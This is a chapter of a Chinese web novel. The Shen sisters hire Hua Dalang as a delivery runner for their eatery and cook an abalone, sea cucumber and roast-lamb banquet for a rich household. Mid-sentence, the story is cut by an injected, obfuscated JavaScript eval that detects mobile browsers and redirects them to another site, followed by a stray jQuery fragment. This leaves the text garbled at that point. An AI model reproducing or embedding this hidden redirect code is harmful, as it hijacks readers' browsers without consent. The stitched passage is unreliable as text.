是花大郎！


    他正在门口前着急地踱来踱去，也不知道等了多久了。


    花奶奶一直在帮她们打探消息，他好几日没来了，她们也忘了让人去跟他说一声这几日不在家。


    沈春蕙连忙走过去，满脸抱歉地道：“等了很久了吗？我们这几日要出去做菜，得很晚才回来，也没来得及告诉你一声，你下次来要是看到我们不在的话，就跟隔壁的卤货铺或者干果铺的人说一声就好，免得还要等我们。”


    花大郎挠了挠头，“也没等多久。”


    接着便又说起花奶奶这几日的打听到了情况，其中有一个人还挺值得注意的，是坡子巷巷口那里的屋主。


    据说这人以前是开黑客栈的，后来被官府抓了，出来后便卖了房子搬到别处去了。


    如今他就住在城东，离兴乐坊不远。


    来之前花奶奶已经去问过了，那人这几日都在家，想找他随时都可以去。


    现在情况倒是反过来了，是沈春蕙这边没空了。她斟酌地道：“这两日我们还要去做菜，大后日吧，到时候我们再过去找花奶奶一起。”


    花大郎连忙摆手，“不用不用，你说个时间，我阿娘到时在坊门口那里等你们就好。”


    “也行。”沈春蕙想了想，说了个时间。


    约定好时间，花大郎便要走了。


    他动了动嘴，刚要开口，就听得沈春宜问：“你对城东这一带熟悉吗？”


    花大郎愣了一下才反应过来这话是对他说的，老老实实地道：“以前还熟悉的，现在可能不太行了，跟那些闲汉不能相比了。”


    “你有认识的闲汉？”沈春宜道。


    花大郎点点头，“认识几个，是我以前当闲汉的时候认识的。”


    原来花大郎刚来燕京时便当过几年闲汉，后来雇他那家店倒闭了，他便试着自己接散活，做了好一阵子，只是因为他嘴皮子不够溜，人瞧着也不够机灵，所以接不到什么活，没赚上几个钱。


    后来又结识了莲娘，想要成家了，便转行去做了挑夫。


    城东的码头每日往来船只动辄成百上千，从各地运来的米粮蔬果源源不断，做挑夫不愁没有伙计。


    他正当年轻，有一把子力气，做挑夫倒也不觉得辛苦，反而干劲满满。


    只是人总会老，他也总有做不了挑夫的那日，花大郎偶尔会忧虑将来，但大多时候是不想的，只想着每日多挑几担，好多挣几个子儿。


    他摸不清沈二娘子为何要问这些，但还是诚实地回话。


    沈春宜摸清了他的大体情况，笑问道：“我店里缺两个闲汉送餐，你还想做闲汉吗？”


    花大郎倏地抬起头，“你说什么？”


    他以为他幻听了。


    沈春宜微笑着重复一遍，“我说想雇你当食铺的闲汉，你愿意吗？”


    “愿意，我当然愿意。”花大郎激动地猛点头，语无伦次地道，“沈大，沈二娘子，你真的要雇闲汉，不，雇我做闲汉吗？”


    沈春宜认真地点头：“嗯，你愿意的话。”


    “我愿意！”花大郎声音无比响亮，笑容灿烂，露出了一口大白牙，配上他那黝黑的皮肤，着实有点像傻子。


    萱娘见他这么傻，忍不住笑道：“你都还没有问一个月多少工钱呢，你就愿意？”


    花大郎连忙问多少工钱。


    沈春宜斟酌了下，报了个数，又道：“工钱可能没有你做挑夫高，但是我们食铺的食客大多都是有钱人，你做得好的话，赏金应该不少，你看能不能接受吧。”


    挑夫的工作辛苦，但钱是不少的，就像后世的农民工，做的虽然是粗重活，但工资不比许多坐办公室的人低。


    闲汉的薪水水平，说实话是不高的，最大头应该是来自食客的打赏。


    至于能有多少赏钱，就看个人了，这是有赌的成份在的。


    就看花大郎敢不敢赌了。


    冲动过后，花大郎也冷静了下来，又些担心钱少了家里人不同意，语气忐忑地问：“我可以回去和家人商量一下吗？”又怕她们不答应，飞快地补充了一句，“我明日一早就来回复你，可以吗？”


    “当然可以，你也不用着急，后日之前给我们回复就可以了。”沈春宜笑道。


    花大郎感激不尽，连连应好。


    然而不等后日，第二日早上他就候在门外了。


    萱娘开门时见旁边蹲着一个人，吓了一大跳，差点就要挥着扫帚打人了。


    花大郎也吓了一跳，一面连连后退，逃出了扫帚的攻击范围，一面喊：“别打，是我，花大郎。”


    萱娘放下扫帚，遗憾地哦了一声，道：“是你啊！你怎么这么早就过来了，不用去码头上工吗？”上次她没打着贼人，还遗憾了好久，正想好好发挥一番呢。


    花大郎刚想说话，就听得沈大娘子的声音从铺子里传来，越来越近，“萱娘，门口有人？是谁啊？”


    “是花大郎。”萱娘扭头回道。


    沈春蕙走出来，看向花大郎问：“你和家人商量好了？”


    “嗯。”花大郎点点头。


    昨日他回去把事情一说，莲娘和他阿娘都欣喜不已。阿娘直说要来感谢她们，被他劝住了。莲娘则让他这两日不要再去码头挑担了，先去把燕京的大小坊巷都走上几遍，把线路都牢牢记住。


    见他这般上心，沈春蕙觉得这人是请对了，笑道：“那你上工的时间就从今日算起吧。”


    花大郎连连摆手，“使不得使不得，我都还没有开始送餐。”


    “我是掌柜，听我的。”沈春蕙一锤定音。


    花大郎只能从了。


    沈春蕙又给他支招，让他先从食铺周围的街巷开始走，一圈一圈地往外扩散，着重点在国子监附近，还有内城。


    花大郎是个听话的，应下便匆匆地去做了。


    他走后没多久，沈春宜也收拾好了，三人便一起往钱百万府上去。


    今日是张太夫人的生辰，酒席比昨日要隆重。如果说昨日是家常小菜，那今日就是山珍海味一应俱全。可惜燕京不靠海，河鲜还能吃点鲜活的，海鲜就难了，就算是钱百万这种豪富人家，也只能整点干货来吃。


    因为她们姐妹俩是从南边来的，钱百万便把整治海鲜的重任都交给了她们。


    鲍参翅肚，是海八珍之一，是富贵人家的宴席上必不可少的。


    沈春宜虽来自南方，但不只会做南方的菜，像海参，她就决定做一道前世有名的鲁菜，葱烧海参，鱼翅是浙菜的做法，清炖鱼翅，剩下两样则是经典粤菜的做法，糖心鲍鱼和鲍汁烩花胶。


    除了这四道菜外，今天的重头菜炙全羊，也就是烤全羊也是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125708|179832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    由她来做。


    做烤全羊、清炖鱼翅和鲍汁烩花胶要用的时间都差不多，可以等吃了午食再做，而干鲍昨日也已经炖上了，火也有人看着，她只需偶尔看一眼即可。


    所以沈春宜把清炖鱼翅要用的高汤炖上之后便闲下来了。


    从灶房出来，见方娘子站在院子里的树下骂了圆生几句，圆生灰头土脸地走了。


    沈春宜站了一会，抬脚走了过去，问：“有什么要我帮忙的吗？”


    方娘子抬眸见是她，笑道：“没有，你都忙完了？”


    “嗯。”沈春宜点头，“早上要做的事不多，算是忙得差不多了。”


    实际上方娘子也是一样，如今也闲了下来。她指了指旁边的小板凳，“一起坐下歇一会吧。”说着，便自己先坐下来了。


    沈春宜方才坐下，就听得她道：“昨夜好多人都打探你们食铺什么时候卖烤鸭，有打算卖吗？”


    府里奴婢上百人，昨日尝到烤鸭的也只是一小部分人而已。


    昨夜她们一回去，就被大家围了里三层外三层，她们先是问烤鸭是什么味，羡慕了一番之后，又让她来打听沈家食铺会不会卖烤鸭，什么时候卖。


    沈春宜想了想，道：“食铺太小了，屁大的地儿，大一点的烤炉都没法放。”食铺厨房外边墙上的那个烤炉太小了，平时烤一点小点心还行，烤烤鸭就不行了，所以她一直没有想过做烤鸭。


    方娘子想起她那间小小的食铺，道：“那你可想过再租一间大一点的铺子？”


    “有是有这个计划。”沈春宜点点头，“不过租食铺也不是一朝一夕就能搞定的事情，就算是租到了也还要粉刷、重新布置铺子，好多事情要做呢。”


    而且也没有多余的人手，她们几人光是经营现在的食铺就已经够忙的了，哪还有能力再开一间食铺？


    如果新铺子就在现在的铺子隔壁，那可能还顾得过来。


    方娘子觉得也是这么回事，安慰道：“说不定你们巷子里还真有铺子开不下去了，你们正好可以把它租下，岂不两全其美！”


    “要是真像你说的那样就好了。”沈春宜轻笑道，“到时候新铺子开门了，我给你包红包。”


    方娘子道：“那你得给我包个大红包才行！”


    “没问题！”沈春宜笑嘻嘻地道，“烤出来的第一只烤鸭留给你都行！”


    方娘子摇摇头，“第一只就算了，你把第二只留给我就好。”顿了顿，又道，“这一次寿宴之后，估计会有很多人想请你做酒席，你怎么想？”


    方娘子一语成谶，今日的海鲜大餐和烤全羊得到宾客的一直好评。


    酒席过后，就有人找钱百万牵桥搭线了。


    钱百万不好直接拒绝，抹了亲朋好友的面子，只说先问问沈春宜的意思。


    沈春宜考虑再三，还是婉拒了，只说像鲍参翅肚这种珍稀食材的酒席可以帮做，意思是食客出食材，她来做，但要收取一定的工钱，至于烤全羊，现在还没有那个条件，就不做了。


    大家听了惋惜不已，转而打听起食铺雅间的排期。


    沈春宜自是不知正房发生的事情，她把回复告诉元宝便带着沈春蕙和萱娘回了。


    到家门口，见宋临蹲在门前的石阶上。他听到脚步声抬头看了过来，眼神可怜巴巴的，像只被主人遗弃的小狗。